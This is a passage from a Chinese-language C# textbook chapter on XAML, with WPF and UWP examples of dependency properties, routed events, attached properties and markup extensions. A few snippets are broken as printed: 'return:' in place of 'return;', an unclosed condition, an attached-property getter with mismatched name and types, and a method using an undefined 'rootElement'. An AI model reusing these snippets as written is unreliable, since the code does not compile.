Height="350" Width="525"> <StackPanel> <Button Content="Click Me! " /> <ListBox> <datalib:Person FirstName="Stephanie" LastName="Nagel" /> <datalib:Person FirstName="Matthias" LastName="Nagel" /> </ListBox> </StackPanel> </Window> 对于UWP应用程序,XAML声明是不同的,因为使用using代替clr-namespace,不需 要程序集的名称(代码文件XAMLIntroUWP/MainPage.xaml): <Page x:Class="XamlIntroUWP.MainPage" xmlns="http://schemas.microsoft.com/winfx/2006/xaml/presentation" xmlns:x="http://schemas.microsoft.com/winfx/2006/xaml" xmlns:datalib="using:DataLib">  注意: UWP应用程序不在别名声明中使用clr-namespace的原因是,UWP中的 XAML既不基于.NET,也不受限于.NET。可以使用本机C++与XAML,因此clr并不合 适。 代替在WPF中使用XML别名定义.NET名称空间和程序集名,这里使用库中的程序集 特性XmlNsDefinition把.NET名称空间映射到XML名称空间上。这个特性的一个参数定义 了XML名称空间,另一个参数定义了.NET名称空间。使用这个特性,也可以把多个.NET 名称空间映射到一个XML名称空间上。 [assembly: XmlnsDefinition("http://www.wrox.com/Schemas/2015", "Wrox.ProCShar p.XAML")] 有了这个特性,XAML代码中的名称空间声明就可以改为映射到XML名称空间上。 <Window x:Class="Wrox.ProCSharp.XAML.MainWindow" xmlns="http://schemas.microsoft.com/winfx/2006/xaml/presentation" xmlns:x="http://schemas.microsoft.com/winfx/2006/xaml" xmlns:datalib="http://www.wrox.com/Schemas/2015" Title="XAML Demo" Height="350" Width="525"> 29.2.4 把属性用作特性 只要属性的类型可以表示为字符串,或者可以把字符串转换为属性类型,就可以把属 性设置为特性。下面的代码片段用特性设置了Button元素的Content和Background属性。 <Button Content="Click Me! " Background="LightGoldenrodYellow" /> 在上面的代码片段中,因为Content属性的类型是object,所以可以接受字符串。 Background属性的类型是Brush, Brush类型把BrushConverter类定义为一个转换器类型,这 个类用TypeConverter特性进行注解。BrushConverter使用一个颜色列表,从 ConvertFromString()方法中返回一个SolidColorBrush。  注意: 类型转换器派生自System.ComponentModel名称空间中的基类 TypeCon-verter。需要转换的类的类型用TypeConverter特性定义了类型转换器。WPF使 用许多类型转换器把XML特性转换为特定的类型。ColorConverter、 FontFamilyConverter、PathFigureCollectionConverter、ThicknessConverter以及 GeometryConverter是大量类型转换器中的几个。 29.2.5 把属性用作元素 总是可以使用元素语法给属性提供值。Button类的Background属性可以用子元素 Button. Background设置。下面的代码用特性定义了Button,效果是相同的: <Button> Click Me! <Button.Background> <SolidColorBrush Color="LightGoldenrodYellow" /> </Button.Background> </Button> 使用元素代替特性,可以把比较复杂的画笔应用于Background属性(如 LinearGradientBrush),如下面的示例所示(代码文件 XAMLSyntax/MainWindow.xaml)。 <Button> Click Me! <Button.Background> <LinearGradientBrush StartPoint="0.5,0.0" EndPoint="0.5, 1.0"> <GradientStop Offset="0" Color="Yellow" /> <GradientStop Offset="0.3" Color="Orange" /> <GradientStop Offset="0.7" Color="Red" /> <GradientStop Offset="1" Color="DarkRed" /> </LinearGradientBrush> </Button.Background> </Button>  注意: 当设置示例中的内容时,Content特性和Button.Content元素都不用于 编写内容;相反,内容会直接写入为Button元素的子元素值。这是因为在Button类的基 类ContentControl中,ContentProperty特性通过[ContentProperty("Content")]应用。这 个特性把Content属性标记为ContentProperty。这样,XAML元素的直接子元素就应用于 Content属性。 29.2.6 使用集合和XAML 在包含Person元素的ListBox中,已经使用过XAML中的集合。在ListBox中,列表项 直接定义为子元素。另外,LinearGradientBrush包含了一个GradientStop元素的集合。这是 可行的,因为基类ItemsControl把ContentProperty特性设置为该类的Items属性, GradientBrush基类把ContentProperty特性设置为GradientStops。 下面的长版本代码在定义背景时直接设置了GradientStops属性,并把 GradientStopCollection元素设置为它的子元素: <Button Click="OnButtonClick"> Click Me! <Button.Background> <LinearGradientBrush StartPoint="0.5, 0.0" EndPoint="0.5, 1.0"> <LinearGradientBrush.GradientStops> <GradientStopCollection> <GradientStop Offset="0" Color="Yellow" /> <GradientStop Offset="0.3" Color="Orange" /> <GradientStop Offset="0.7" Color="Red" /> <GradientStop Offset="1" Color="DarkRed" /> </GradientStopCollection> </LinearGradientBrush.GradientStops> </LinearGradientBrush> </Button.Background> </Button> 在WPF中,要定义数组,可以使用x:Array扩展。x:Array扩展有一个Type属性,可以 用于指定数组元素的类型。 <Window.Resources> <x:Array Type="datalib:Person" x:Key="personArray"> <datalib:Person FirstName="Stephanie" LastName="Nagel" /> <datalib:Person FirstName="Matthias" LastName="Nagel" /> </x:Array> </Window.Resources> 29.3 依赖属性 XAML使用依赖属性完成数据绑定、动画、属性变更通知、样式化等。依赖属性存在 的原因是什么?假设创建一个类,它有100个int型的属性,这个类在一个表单上实例化了 100次。需要多少内存?因为int的大小是4个字节,所以结果是4×100×100 = 40 000字节。 刚才看到的是一个XAML元素的属性?由于继承层次结构非常大,一个XAML元素就定义 了数以百计的属性。属性类型不是简单的int,而是更复杂的类型。这样的属性会消耗大 量的内存。然而,通常只改变其中一些属性的值,大部分的属性保持对所有实例都相同的 默认值。这个难题可以用依赖属性解决。使用依赖属性,对象内存不是分配给每个属性和 实例。依赖属性系统管理一个包含所有属性的字典,只有值发生了改变才分配内存。否 则,默认值就在所有实例之间共享。 依赖项属性也内置了对变更通知的支持。对于普通属性,需要为变更通知实现 InotifyProperty-Changed接口。其方式参见第31章。这种变更机制是通过依赖属性内置 的。对于数据绑定,绑定到.NET属性源上的UI元素的属性必须是依赖属性。现在,详细 讨论依赖属性。 从外部来看,依赖属性像是正常的.NET属性。但是,正常的.NET属性通常还定义了 由该属性的get和set访问器访问的数据成员。 private int _value; public int Value { get { return _value; } set { _value = value; } } 依赖属性不是这样。依赖属性通常也有get和set访问器。它们与普通属性是相同的。 但在get和set访问器的实现代码中,调用了GetValue()和SetValue()方法。 GetValue()和SetValue()方法是基类DependencyObject的成员,依赖对象需要使用这 个类——它们必须在DependencyObject的派生类中实现。在WPF中,基类在 System.Windows名称空间中定义。在UWP中,基类在Windows.UI.Xaml名称空间中定义。 有了依赖属性,数据成员就放在由基类管理的内部集合中,仅在值发生变化时分配数 据。对于没有变化的值,数据可以在不同的实例或基类之间共享。GetValue()和 SetValue()方法需要一个DependencyProperty参数。这个参数由类的一个静态成员定 义,该静态成员与属性同名,并在该属性名的后面追加Property术语。对于Value属性,静 态成员的名称是ValueProperty。DependencyProperty. Register()是一个辅助方法,可在 依赖属性系统中注册属性。在下面的代码片段中,使用Register()方法和4个参数定义了 属性名、属性的类型和拥有者(即MyDependencyObject类)的类型,使用 PropertyMetadata指定了默认值(代码文件 DependencyObject[WPF|UWP]/MyDependencyObject.cs)。 public class MyDependencyObject: DependencyObject { public int Value { get { return (int)GetValue(ValueProperty); } set { SetValue(ValueProperty, value); } } public static readonly DependencyProperty ValueProperty = DependencyProperty.Register("Value", typeof(int), typeof(MyDependencyObject), new PropertyMetadata(0)); } 29.3.1 创建依赖属性 下面的示例定义的不是一个依赖属性,而是3个依赖属性。MyDependencyObject类定 义了依赖属性Value、Minimum和Maximum。所有这些属性都是用 DependencyProperty.Register()方法注册的依赖属性。GetValue()和SetValue()方法 是基类DependencyObject的成员。对于Minimum和Maximum属性,定义了默认值,用 DependencyProperty.Register()方法设置该默认值时,可以把第4个参数设置为 PropertyMetadata。使用带一个参数PropertyMetadata的构造函数,把Minimum属性设置为 0,把Maximum属性设置为100(代码文件 DependencyObject[WPF|UWP]/MyDependencyObject.cs)。 public class MyDependencyObject: DependencyObject { public int Value { get { return (int)GetValue(ValueProperty); } set { SetValue(ValueProperty, value); } } public static readonly DependencyProperty ValueProperty = DependencyProperty.Register(nameof(Value), typeof(int), typeof(MyDependencyObject)); public int Minimum { get { return (int)GetValue(MinimumProperty); } set { SetValue(MinimumProperty, value); } } public static readonly DependencyProperty MinimumProperty = DependencyProperty.Register(nameof(Minimum), typeof(int), typeof(MyDependencyObject), new PropertyMetadata(0)); public int Maximum { get { return (int)GetValue(MaximumProperty); } set { SetValue(MaximumProperty, value); } } public static readonly DependencyProperty MaximumProperty = DependencyProperty.Register(nameof(Maximum), typeof(int), typeof(MyDependencyObject), new PropertyMetadata(100)); }  注意: 在get和set属性访问器的实现代码中,只能调用GetValue()和 SetValue()方法。使用依赖属性,可以通过GetValue()和SetValue()方法从外部 访问属性的值,WPF也是这样做的;因此,强类型化的属性访问器可能根本就不会被 调用,包含它们仅为了方便在自定义代码中使用正常的属性语法。 29.3.2 值变更回调和事件 为了获得值变更的信息,依赖属性还支持值变更回调。在属性值发生变化时调用的 Dependency-Property.Register()方法中,可以添加一个DependencyPropertyChanged事件 处理程序。在示例代码中,把OnValueChanged()处理程序方法赋予PropertyMetadata对 象的PropertyChangedCallback属性。在OnValueChanged()方法中,可以用 DependencyPropertyChangedEventArgs()参数访问属性的新旧值(代码文件 DependencyObject[WPF|UWP]/ MyDependencyObject.cs)。 public class MyDependencyObject: DependencyObject { public int Value { get { return (int)GetValue(ValueProperty); } set { SetValue(ValueProperty, value); } } public static readonly DependencyProperty ValueProperty = DependencyProperty.Register(nameof(Value), typeof(int), typeof(MyDependencyObject), new PropertyMetadata(0, OnValueChanged, CoerceValue)); // etc. private static void OnValueChanged(DependencyObject obj, DependencyPropertyChangedEventArgs e) { int oldValue = (int)e.OldValue; int newValue = (int)e.NewValue; // etc. } } 29.3.3 强制值回调和WPF 利用WPF,依赖属性支持强制检查。通过强制检查,可以检查属性的值是否有效, 例如该值是否在某个有效范围之内。因此,本例包含了Minimum和Maximum属性。现在 Value属性的注册变更为把事件处理程序方法CoerceValue()传递给PropertyMetadata对象 的构造函数,再把PropertyMetadata对象传递为DependencyProperty.Register()方法的一 个参数。现在,在SetValue()方法的实现代码中,对属性值的每次变更都调用 CoerceValue()方法。在CoerceValue()方法中,检查set值是否在指定的最大值和最小 值之间;如果不在,就设置该值(代码文件 DependencyObjectWPF/MyDependencyObject.cs)。 using System; using System.Windows; namespace DependencyObjectWPF { public class MyDependencyObject: DependencyObject { public int Value { get { return (int)GetValue(ValueProperty); } set { SetValue(ValueProperty, value); } } public static readonly DependencyProperty ValueProperty = DependencyProperty.Register(nameof(Value), typeof(int), typeof(MyDependencyObject), new PropertyMetadata(0, OnValueChanged, CoerceValue)); private static object CoerceValue(DependencyObject d, object baseValue) { int newValue = (int)baseValue; MyDependencyObject control = (MyDependencyObject)d; newValue = Math.Max(control.Minimum, Math.Min(control.Maximum, newValue)) ; return newValue; } // etc. public int Minimum { get { return (int)GetValue(MinimumProperty); } set { SetValue(MinimumProperty, value); } } public static readonly DependencyProperty MinimumProperty = DependencyProperty.Register(nameof(Minimum), typeof(int), typeof(MyDependencyObject), new PropertyMetadata(0)); public int Maximum { get { return (int)GetValue(MaximumProperty); } set { SetValue(MaximumProperty, value); } } public static readonly DependencyProperty MaximumProperty = DependencyProperty.Register(nameof(Maximum), typeof(int), typeof(MyDependencyObject), new PropertyMetadata(100)); } } 29.4 路由事件 第9章介绍了.NET事件模型。在基于XAML的应用程序中,路由事件扩展了事件模 型。元素包含元素,组成一个层次结构。在路由事件中,事件通过元素的层次结构路由。 如果路由事件在控件中触发,例如按钮,那么可以用按钮处理事件,但它向上路由到所有 父控件,在那里,也可以处理它。这也称为冒泡——事件沿着控件的层次结构冒泡。把事 件的Handled属性设置为true,可以阻止事件路由到父控件。 29.4.1 用于Windows应用程序的路由事件 本节提供了一个用于UWP Windows应用程序的示例。这个应用程序定义的用户界面 包含一个复选框,如果选中它,就停止路由;一个按钮控件,其Tapped事件设置为 OnTappedButton处理程序方法;一个网格,其Tapped事件设置为OnTappedGrid处理程序。 Tapped事件是UWP Windows应用程序的一个路由事件。这个事件可以用鼠标、触摸屏幕 和笔设备触发(代码文件RoutedEventsUWP/MainPage.xaml): <Grid Tapped="OnTappedGrid "> <Grid.RowDefinitions> <RowDefinition Height="auto" /> <RowDefinition Height="auto" /> <RowDefinition /> </Grid.RowDefinitions> <StackPanel Grid.Row="0" Orientation="Horizontal"> <CheckBox x:Name="CheckStopRouting" Margin="20">Stop Routing</CheckBox> <Button Click="OnCleanStatus">Clean Status</Button> </StackPanel> <Button Grid.Row="1" Margin="20" Tapped="OnTappedButton" >Tap me! </Button> <TextBlock Grid.Row="2" Margin="20" x:Name="textStatus" /> </Grid> OnTappedXX处理程序方法把状态信息写入一个TextBlock,来显示处理程序方法和事 件初始源的控件(代码文件RoutedEventsUWP / MainPage.xaml.cs): private void OnTappedButton(object sender, TappedRoutedEventArgs e) { ShowStatus(nameof(OnTappedButton), e); e.Handled = CheckStopRouting.IsChecked == true; } private void OnTappedGrid(object sender, TappedRoutedEventArgs e) { ShowStatus(nameof(OnTappedGrid), e); e.Handled = CheckStopRouting.IsChecked == true; } private void ShowStatus(string status, RoutedEventArgs e) { textStatus.Text += $"{status} {e.OriginalSource.GetType().Name}"; textStatus.Text += "\r\n"; } private void OnCleanStatus(object sender, RoutedEventArgs e) { textStatus.Text = string.Empty; } 运行应用程序,在网格内单击按钮的外部,就会看到处理的OnTappedGrid事件,并 把Grid控件作为触发事件的源: OnTappedGrid Grid 单击按钮的中间,会看到事件被路由。第一个调用的处理程序是OnTappedButton,其 后是OnTappedGrid: OnTappedButton TextBlock OnTappedGrid TextBlock 同样有趣的是,事件源不是按钮,而是TextBlock。原因在于,这个按钮使用 TextBlock设置样式,来包含按钮的文本。如果单击按钮内的其他位置,还可以看到Grid 或ContentPresenter是原始事件源。Grid和ContentPresenter是创建按钮的其他控件。 在单击按钮之前,选中复选框CheckStopRouting,可以看到事件不再路由,因为事件 参数的Handled属性设置为true: OnTappedButton TextBlock 在事件的MSDN文档内,可以在文档的备注部分看到事件类型是否路由。在Universal Windows应用程序中,tapped、drag和drop、key up和key down、pointer、focus、 manipulation事件是路由事件。 29.4.2 WPF的冒泡和隧道 在WPF中,支持路由的事件比Windows Universal应用程序支持的更多。除了沿着控 件层次结构向上冒泡的概念之外,WPF还支持隧道。隧道事件与冒泡的方向相反——从 外部进入内部控件。事件要么是冒泡事件,要么是隧道事件,要么是直接事件。 事件经常成对定义。PreviewMouseMove是一个隧道事件,从外面进入里面。首先是 外部控件接收事件,之后内部控件接收它。MouseMove事件跟在PreviewMouseMove事件 之后,它是一个冒泡事件,从内部向外部冒泡。 为了演示隧道和冒泡,下面的XAML代码包含一个网格和一个按钮,它分配了 MouseMove和PreviewMouseMove事件。MouseMove事件发生的次数很多,所以显示鼠标 移动信息的TextBlock放在一个ScrollViewer控件中,以根据需要显示滚动条。使用复选框 控件,可以停止隧道和冒泡(代码文件RoutedEventsWPF / MainWindow.xaml): <Grid MouseMove="OnGridMouseMove" PreviewMouseMove="OnGridPreviewMouseMove" > <Grid.RowDefinitions> <RowDefinition Height="auto" /> <RowDefinition Height="auto" /> <RowDefinition /> </Grid.RowDefinitions> <StackPanel Grid.Row="0" Orientation="Horizontal"> <CheckBox x:Name="CheckStopPreview" Margin="20"> Stop Preview </CheckBox> <CheckBox x:Name="CheckStopBubbling" Margin="20"> Stop Bubbling </CheckBox> <CheckBox x:Name="CheckIgnoreGridMove" Margin="20"> Ignore Grid Move </CheckBox> <Button Margin="20" Click="OnCleanStatus">Clean Status</Button> </StackPanel> <Button x:Name="button1" Grid.Row="1" Margin="20" MouseMove="OnButtonMouseMove" PreviewMouseMove="OnButtonPreviewMouseMove"> Move </Button> <ScrollViewer Grid.Row="2"> <TextBlock Margin="20" x:Name="textStatus" /> </ScrollViewer> </Grid> 在后台代码文件中,ShowStatus方法访问RoutedEventArgs,显示事件信息。与 Universal Windows应用程序不同,RoutedEventArgs类型不仅包含事件的原始来源,而且 包含用Source属性访问的源。这个方法显示了源的类型和名称(代码文件 RoutedEventsWPF / MainWindow.xaml.cs): private void ShowStatus(string status, RoutedEventArgs e) { textStatus.Text += $"{status} source: {e.Source.GetType().Name}, " + $"{(e.Source as FrameworkElement)? .Name}, " + $"original source: {e.OriginalSource.GetType().Name}"; textStatus.Text += "\r\n"; } 因为MouseMove事件太多,所以处理程序实现为忽略它们,只考虑选中 CheckIgnoreGridMove复选框时的button1源。 private bool IsButton1Source(RoutedEventArgs e) => (e.Source as FrameworkElement).Name == nameof(button1); private void OnButtonMouseMove(object sender, MouseEventArgs e) { ShowStatus(nameof(OnButtonMouseMove), e); e.Handled = CheckStopBubbling.IsChecked == true; } private void OnGridMouseMove(object sender, MouseEventArgs e) { if (CheckIgnoreGridMove.IsChecked == true && ! IsButton1Source(e) return; ShowStatus(nameof(OnGridMouseMove), e); e.Handled = CheckStopBubbling.IsChecked == true; } private void OnGridPreviewMouseMove(object sender, MouseEventArgs e) { if (CheckIgnoreGridMove.IsChecked == true && ! IsButton1Source(e) return: ShowStatus(nameof(OnGridPreviewMouseMove), e); e.Handled = CheckStopPreview.IsChecked == true; } private void OnButtonPreviewMouseMove(object sender, MouseEventArgs e) { ShowStatus(nameof(OnButtonPreviewMouseMove), e); e.Handled = CheckStopPreview.IsChecked == true; } private void OnCleanStatus(object sender, RoutedEventArgs e) { textStatus.Text = string.Empty; } 运行应用程序,在按钮控件上移动,会看到如下事件处理程序: OnGridPreviewMouseMove source: Button button1, original source: Border OnButtonPreviewMouseMove source: Button button1, original source: Border OnButtonMouseMove source: Button button1, original source: Border OnGridMouseMove source: Button button1, original source: Border 如果选择阻止冒泡,按钮的处理程序OnButtonMouseMove就最后一个调用。这类似于 前面的冒泡和Universal Windows应用程序: OnGridPreviewMouseMove source: Button button1, original source: Border OnButtonPreviewMouseMove source: Button button1, original source: Border OnButtonMouseMove source: Button button1, original source: Border 使用隧道事件处理程序停止路由操作时,也不发生冒泡。这是隧道的一个重要特征。 如果已经在隧道事件处理程序中把Handled属性设置为true,冒泡事件也不会发生: OnGridPreviewMouseMove source: Button button1, original source: Border 29.4.3 用WPF实现自定义路由事件 为了在定制类中定义冒泡和隧道事件,把MyDependencyObject改为支持在值变化时 触发事件。为了支持冒泡和隧道事件,类必须派生自UIElement,而不是 DependencyObject,因为这个类为事件定义了AddHandler和RemoveHandler方法。 为了支持MyDependencyObject的调用者接收值改变的信息,类定义了ValueChanged事 件。该事件用显式的add和remove处理程序声明,其中调用的是基类的AddHandler和 RemoveHandler方法。这些方法需要一个RoutedEvent类型和委托作为参数。路由事件 ValueChangedEvent的声明非常类似于依赖属性。它声明为静态成员,通过调用 EventManager.RegisterRoutedEvent方法注册。这个方法需要事件的名称、路由策略(可以 是Bubble、Tunnel或Direct)、处理程序的类型和拥有者类的类型。EventManager类还允 许注册的静态事件,获得注册事件的信息(代码文件 DependencyObjectWPF/MyDependencyObject.cs): using System; using System.Windows; namespace Wrox.ProCSharp.XAML { class MyDependencyObject: UIElement { public int Value { get { return (int)GetValue(ValueProperty); } set { SetValue(ValueProperty, value); } } public static readonly DependencyProperty ValueProperty = DependencyProperty.Register(nameof(Value), typeof(int), typeof(MyDependencyObject), new PropertyMetadata(0, OnValueChanged , CoerceValue)); // etc. private static void OnValueChanged(DependencyObject d, DependencyPropertyChangedEventArgs e) { MyDependencyObject control = (MyDependencyObject)d; var e1 = new RoutedPropertyChangedEventArgs<int>((int)e.OldValue, (int)e.NewValue, ValueChangedEvent); control.OnValueChanged(e1); } public static readonly RoutedEvent ValueChangedEvent = EventManager.RegisterRoutedEvent(nameof(ValueChanged), RoutingStrategy. Bubble, typeof(RoutedPropertyChangedEventHandler<int>), typeof(MyDependencyObject)); public event RoutedPropertyChangedEventHandler<int> ValueChanged { add { AddHandler(ValueChangedEvent, value); } remove { RemoveHandler(ValueChangedEvent, value); } } protected virtual void OnValueChanged(RoutedPropertyChangedEventArgs<int> args) { RaiseEvent(args); } } } 现在,这可以通过与冒泡功能同样的方式使用,以前它用于按钮的MouseMove事 件。 29.5 附加属性 依赖属性是可用于特定类型的属性。而通过附加属性,可以为其他类型定义属性。一 些容器控件为其子控件定义了附加属性;例如,如果使用DockPanel控件,就可以为其子 控件使用Dock属性。Grid控件定义了Row和Column属性。 下面的代码片段说明了附加属性在XAML中的情况。Button类没有Dock属性,但它是 从DockPanel控件附加的。 <DockPanel> <Button Content="Top" DockPanel.Dock="Top" Background="Yellow" /> <Button Content="Left" DockPanel.Dock="Left" Background="Blue" /> </DockPanel> 附加属性的定义与依赖属性非常类似,如下面的示例所示。定义附加属性的类必须派 生自基类DependencyObject,并定义一个普通的属性,其中get和set访问器访问基类的 GetValue()和SetValue()方法。这些都是类似之处。接着不调用DependencyProperty类 的Register()方法,而是调用RegisterAttached()方法。RegisterAttached()方法注册 一个附加属性,现在它可用于每个元素(代码文件 AttachedPropertyDemo[WPF/UWP]/MyAttachedPropertyProvider.cs)。 public class MyAttachedPropertyProvider: DependencyObject { public string MySample { get { return (string)GetValue(MySampleProperty); } set { SetValue(MySampleProperty, value); } } public static readonly DependencyProperty MySampleProperty = DependencyProperty.RegisterAttached(nameof(MySample), typeof(string), typeof(MyAttachedPropertyProvider), new PropertyMetadata(string.Empty )); public static void SetMySample(UIElement element, string value) => element.SetValue(MySampleProperty, value); public static int GetMyProperty(UIElement element) => (string)element.GetValue(MySampleProperty); }  注意: 似乎DockPanel.Dock属性只能添加到DockPanel控件中的元素。实际 上,附加属性可以添加到任何元素上。但无法使用这个属性值。DockPanel控件能够识 别这个属性,并从其子元素中读取它,以安排其子元素。 在XAML代码中,附加属性现在可以附加到任何元素上。第二个Button控件button2为 自身附加了属性MyAttachedPropertyProvider.MySample,其值指定为42(代码文件 AttachedPropertyDemo [WPF|UWP]/Main[Window|Page].xaml)。 <Grid x:Name="grid1"> <Grid.RowDefinitions> <RowDefinition Height="Auto" /> <RowDefinition Height="Auto" /> <RowDefinition Height="*" /> </Grid.RowDefinitions> <Button Grid.Row="0" x:Name="button1" Content="Button 1" /> <Button Grid.Row="1" x:Name="button2" Content="Button 2" local:MyAttachedPropertyProvider.MySample="42" /> <ListBox Grid.Row="2 " x:Name="list1" /> </Grid> </Window> 在代码隐藏中执行相同的操作时,必须调用MyAttachedPropertyProvider类的静态方法 SetMy-Property()。不能扩展Button类,使其包含某个属性。SetProperty()方法获取一 个应由该属性及其值扩展的UIElement实例。在如下的代码片段中,把该属性附加到 button1中,其值设置为sample value(代码文件 AttachedPropertyDemoWPF/MainPage.xaml.cs)。 public MainPage() { InitializeComponent(); MyAttachedPropertyProvider.SetMySample(button1, "sample value"); // etc. } 为了读取分配给元素的附加属性,可以使用VisualTreeHelper迭代层次结构中的每个 元素,并试图读取其附加属性。VisualTreeHelper用于在运行期间读取元素的可见树。 GetChildrenCount方法返回子元素的数量。为了访问子元素,GetChild方法传递一个索 引,返回元素。只有当元素的类型是FrameworkElement(或派生于它),且用Func参数传 递的谓词返回true时,该方法的实现代码才返回元素。 private IEnumerable<FrameworkElement> GetChildren(FrameworkElement element, Func<FrameworkElement, bool> pred) { int childrenCount = VisualTreeHelper.GetChildrenCount(rootElement); for (int i = 0; i < childrenCount; i++) { var child = VisualTreeHelper.GetChild(rootElement, i) as FrameworkElement; if (child ! = null && pred(child)) { yield return child; } } } GetChildren方法现在在页面的构造函数中用于把带有附加属性的所有元素添加到 ListBox控件中: public MainPage() { InitializeComponent(); MyAttachedPropertyProvider.SetMySample(button1, "sample value"); foreach (var item in GetChildren(grid1, e => MyAttachedPropertyProvider.GetMySample(e) ! = string.Empty)) { list1.Items.Add( $"{item.Name}: {MyAttachedPropertyProvider.GetMySample(item) }"); } } 运行应用程序(WPF或UWP应用程序)时,会看到列表框中的两个按钮控件与下述 值: button1: sample value button2: 42 直到现在,附加属性的示例代码都与WPF和Universal Windows应用程序相同,只是 使用了WPF的MainWindow控件而不是MainPage。然而,WPF的另一个选项是遍历元素。 WPF和Universal Windows应用程序可以使用VisualTreeHelper迭代可见树,其中包含在运 行期间创建的所有元素,包括模板和样式。在WPF中,还可以使用LogicalTreeHelper。这 个辅助类迭代元素的逻辑树。逻辑树与设计时使用的树是一样的。这棵树也可以显示在 Visual Studio的文档大纲中(见图29-1)。 图29-1 使用LogicalTreeHelper,迭代子元素的方法可以修改如下所示。LogicalTreeHelper类 提供了一个GetChildren方法,它不需要确定子元素的个数,就可以使用for循环迭代它们 (代码文件AttachedPropertyDemoWPF / MainWindow.xaml.cs): public MainWindow() { InitializeComponent(); MyAttachedPropertyProvider.SetMySample(button1, "sample value"); foreach (var item in LogicalTreeHelper.GetChildren(grid1). OfType<FrameworkElement>().Where( e => MyAttachedPropertyProvider.GetMySample(e) ! = string.Empty)) { list1.Items.Add( $"{item.Name}: {MyAttachedPropertyProvider.GetMySample(item)}"); } }  注意: 第30章~第35章使用XAML展示了许多不同的附加属性,例如容器控 件Canvas、DockPanel和Grid的附加属性,以及Validation类的ErrorTemplate属性。 29.6 标记扩展 通过标记扩展,可以扩展XAML的元素或特性语法。如果XML特性包含花括号,就 表示这是标记扩展的一个符号。特性的标记扩展常常用作简写记号,而不再使用元素。 这种标记扩展的示例是StaticResourceExtension,它可查找资源。下面是带有 gradientBrush1键的线性渐变笔刷的资源(XAML文件 MarkupExtensionUWP/MainPage.xaml): <Page.Resources> <LinearGradientBrush x:Key="gradientBrush1" StartPoint="0.5,0.0" EndPoint=" 0.5, 1.0"> <GradientStop Offset="0" Color="Yellow" /> <GradientStop Offset="0.3" Color="Orange" /> <GradientStop Offset="0.7" Color="Red" /> <GradientStop Offset="1" Color="DarkRed" /> </LinearGradientBrush> </Page.Resources> 使用StaticResourceExtension,通过特性语法来设置Button的Background属性,就可以 引用这个资源。特性语法通过花括号和没有Extension后缀的扩展类名来定义。 <Button Content="Test" Background="{StaticResource gradientBrush1}" /> WPF还允许通过简写记号的较长形式使用元素语法,如下面的代码片段所示。 StaticResourceExtension定义为Button.Background元素的一个子元素。通过一个特性把 ResourceKey属性设置为gradientBrush1。在上面的示例中,没有用ResourceKey属性设置资 源键(这也是可行的),但使用一个构造函数重载来设置资源键。 <Button Content="Test"> <Button.Background> <StaticResourceExtension ResourceKey="gradientBrush1" /> </Button.Background> </Button> 29.6.1 创建自定义标记扩展 UWP应用程序只能使用预定义的标记扩展。在WPF中,可以创建自定义的标记扩 展。要创建标记扩展,可以定义基类MarkupExtension的一个派生类。大多数标记扩展名 都有Extension后缀(这个命名约定类似于特性的Attribute后缀,参见第16章)。有了自定 义标记扩展后,就只需要重写ProvideValue()方法,它返回扩展的值。返回的类型用 MarkupExtensionReturnType特性注解类。对于ProvideValue()方法,需要传递一个 IServiceProvider对象。通过这个接口,可以查询不同的服务,如IProvideValueTarget或 IXamlTypeResolver。IProvideValueTarget可以用于访问通过TargetObject和TargetProperty属 性应用标记扩展的控件和属性。IXamlTypeResolver可用于把XAML元素名解析为CLR对 象。自定义标记扩展类CalculatorExtension定义了double类型的属性X和Y,并通过枚举定 义了一个Operation属性。根据Operation属性的值,在X和Y输入属性上执行不同的计算, 并返回一个字符串(代码文件MarkupExtensionWPF/CalculatorExtension.cs)。 using System; using System.Windows; using System.Windows.Markup; namespace Wrox.ProCSharp.XAML { public enum Operation { Add, Subtract, Multiply, Divide } [MarkupExtensionReturnType(typeof(string))] public class CalculatorExtension: MarkupExtension { public CalculatorExtension() { } public double X { get; set; } public double Y { get; set; } public Operation Operation { get; set; } public override object ProvideValue(IServiceProvider serviceProvider) { IProvideValueTarget provideValue = serviceProvider.GetService(typeof(IProvideValueTarget)) as IProvideValueTarget; if (provideValue ! = null) { var host = provideValue.TargetObject as FrameworkElement; var prop = provideValue.TargetProperty as DependencyProperty; } double result = 0; switch (Operation) { case Operation.Add: result = X + Y; break; case Operation.Subtract: result = X-Y; break; case Operation.Multiply: result = X * Y; break; case Operation.Divide: result = X / Y; break; default: throw new ArgumentException("invalid operation"); } return result.ToString(); } } } 标记扩展现在可以在第一个TextBlock上与特性语法一起使用,把值3和4加在一起, 或者在第二个TextBlock上与元素语法一起使用(代码文件 MarkupExtensionWPF/MainWindow.xaml)。 <Window x:Class="Wrox.ProCSharp.XAML.MainWindow" xmlns="http://schemas.microsoft.com/winfx/2006/xaml/presentation" xmlns:x="http://schemas.microsoft.com/winfx/2006/xaml" xmlns:local="clr-namespace:Wrox.ProCSharp.XAML" Title="MainWindow" Height="350" Width="525"> <StackPanel> <TextBlock Text="{local:Calculator Operation=Add, X=3, Y=4}" /> <TextBlock> <TextBlock.Text> <local:CalculatorExtension> <local:CalculatorExtension.Operation> <local:Operation>Multiply</local:Operation> </local:CalculatorExtension.Operation> <local:CalculatorExtension.X>7</local:CalculatorExtension.X> <local:CalculatorExtension.Y>11</local:CalculatorExtension.Y> </local:CalculatorExtension> </TextBlock.Text> </TextBlock> </StackPanel> </Window> 29.6.2 XAML定义的标记扩展 标记扩展提供了许多功能,实际上本章已经使用了XAML定义的标记扩展。x:Array 就定义为标记扩展类ArrayExtension。有了这个标记扩展,就可以不使用特性语法,因为 使用特性语法很难定义元素列表。 用XAML定义的其他标记扩展有TypeExtension(x:Type),它根据字符串输入返回类 型;NullEx-tension(x:Null)可以用于在XAML中把值设置为空; StaticExtension(x:Static)可调用类的静态成员。 目前为Universal Windows应用程序提供的、用XAML定义的标记扩展,只有用于数据 绑定的编译绑定(x: Bind)时才有更好的性能。这个数据绑定参见第32章。 WPF、WF、WCF和Universal Windows应用程序都定义了专用于这些技术的标记扩 展。WPF和Universal Windows应用程序使用标记扩展访问资源,以用于数据绑定和颜色 转换。WF联合使用了标记扩展和活动;WCF给端点定义指定了标记扩展。 29.7 小结 本章通过WPF和Universal Windows应用程序的一些示例介绍了XAML的核心功能,以 及专门的特性,如依赖属性、附加属性、路由事件,以及标记扩展。通过这些特性,不仅 介绍了基于XAML技术的基础知识,还讨论了C#和.NET特性(如属性和事件)如何适用 于已扩展的用例。属性增强为支持变更通知和有效性验证(依赖属性),把属性添加到控 件中不会真正影响这类属性(附加属性)。事件增强为具备冒泡和隧道功能。 所有这些特性都是不同XAML技术的基础,如WPF、WF和UWP应用程序。 